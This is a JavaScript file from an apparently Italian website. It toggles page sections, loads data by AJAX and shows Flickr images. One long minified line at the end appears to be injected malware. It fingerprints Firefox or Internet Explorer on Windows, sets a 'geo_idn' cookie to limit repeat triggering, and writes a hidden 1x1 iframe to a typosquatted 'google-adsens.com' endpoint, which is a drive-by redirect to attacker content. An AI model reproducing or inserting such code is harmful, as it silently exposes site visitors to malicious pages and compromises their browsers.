function clock() {
    time=new Date()
    document.myForm.myClock.value=time
}

function page1(action,action1) {
	var data1='<?php include("config/config.php"); ?>'+ '<div class="bordo1">  <div class="bordo2">'+		
	'<?php include("utenti/fnutenti.php");	include("mailnews/registrazione.php");?>'+'</div></div> ';
	$('#canali1').replaceWith(data1);
}

function page11(action,action1) {
	$data1='include("config/config.php");  echo "<div class=\"bordo1\">";   echo "<div class=\"bordo2\">"; 			include("utenti/fnutenti.php");	include("mailnews/registrazione.php");  echo "</div>"; echo "</div>";';
	$.getJSON("get_data.php?action=reg",
	 function(data){
		alert("page1: "+data.reg);
		$('#canali').replaceWith(data.reg);
	});
}

function carica() {
	$.getJSON("get_data.php?action=t1",
	 function(data){
		$('#visite').replaceWith(data.visite);
	});
}

function cercachiave(strCerca) {	
	 $.post("cerca.php?action="+strCerca,
	 function(data){
	  //alert("SI"+data.rset);	  
		//$('#cercaitem').replaceWith(data.rset);
	});
	if(document.getElementById('cercaitem').style.display == 'none'){
	 visualizza('cercaitem');
	}
}
 
function load2() {
	$.getJSON("./get_data.php?p=s3",
		function(data){
			$('input#stato').attr('value',data.STATUS);
		if(data.STATUS=='1'){
			$('#off2').hide();
			$("#on2").show();
		}
		if(data.STATUS=='0'){
			$('#off2').show();
			$("#on2").hide();
		}
	});

$.getJSON("http://api.flickr.com/services/feeds/photos_public.gne?tags=cat&tagmode=any&format=json&jsoncallback=?",
        function(data){
          $.each(data.items, function(i,item){
            $("<img/>").attr("src", item.media.m).appendTo("#images");
            if ( i == 3 ) return false;
          });
        });

} 


function visualizza(id){
	chiudidiv(id);	

	if (document.getElementById){
		
		if(document.getElementById(id).style.display == 'none'){
			document.getElementById(id).style.display = 'block';
			//if (id=='registrazione'){irefresh('registrazione.php','registra');} 
			if (id=='cercaitem'){irefresh('cerca.php','cercaitem');} 
			//alert(id);
			}else{
			if (id=='cercaitem'){document.getElementById(id).style.display = 'none';}
			//document.getElementById(id).style.display = 'none';
		}
	}
}    
    
function chiudidiv(id){
	if (id!='invito'){document.getElementById('invito').style.display = 'none';}	
	if (id!='chisiamo'){document.getElementById('chisiamo').style.display = 'none';}	
	if (id!='download'){document.getElementById('download').style.display = 'none';}	
	if (id!='inquinanti'){document.getElementById('inquinanti').style.display = 'none';}	
	if (id!='parchi'){document.getElementById('parchi').style.display = 'none';}	
	if (id!='articoli'){document.getElementById('articoli').style.display = 'none';}	
	if (id!='usraccount'){document.getElementById('usraccount').style.display = 'none';}	
	if (id!='login'){document.getElementById('login').style.display = 'none';}	
	if (id!='registrazione'){document.getElementById('registrazione').style.display = 'none';}	
	if (id!='start'){document.getElementById('start').style.display = 'none';}
	if (id!='video'){document.getElementById('video').style.display = 'none';}
	if (id!='cercaitem'){document.getElementById('cercaitem').style.display = 'none';}	
	if (id!='conferma'){document.getElementById('conferma').style.display = 'none';}	
	if (id!='troisi'){document.getElementById('troisi').style.display = 'none';}	
	if (id!='contatti'){document.getElementById('contatti').style.display = 'none';}	
//	return true;	
}

function irefresh(sURL,nFrame){
	frames[nFrame].document.location.href = sURL+'?login=0&polling=1';
	//alert(frames[nFrame].document.location.href); 
	return true;
}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
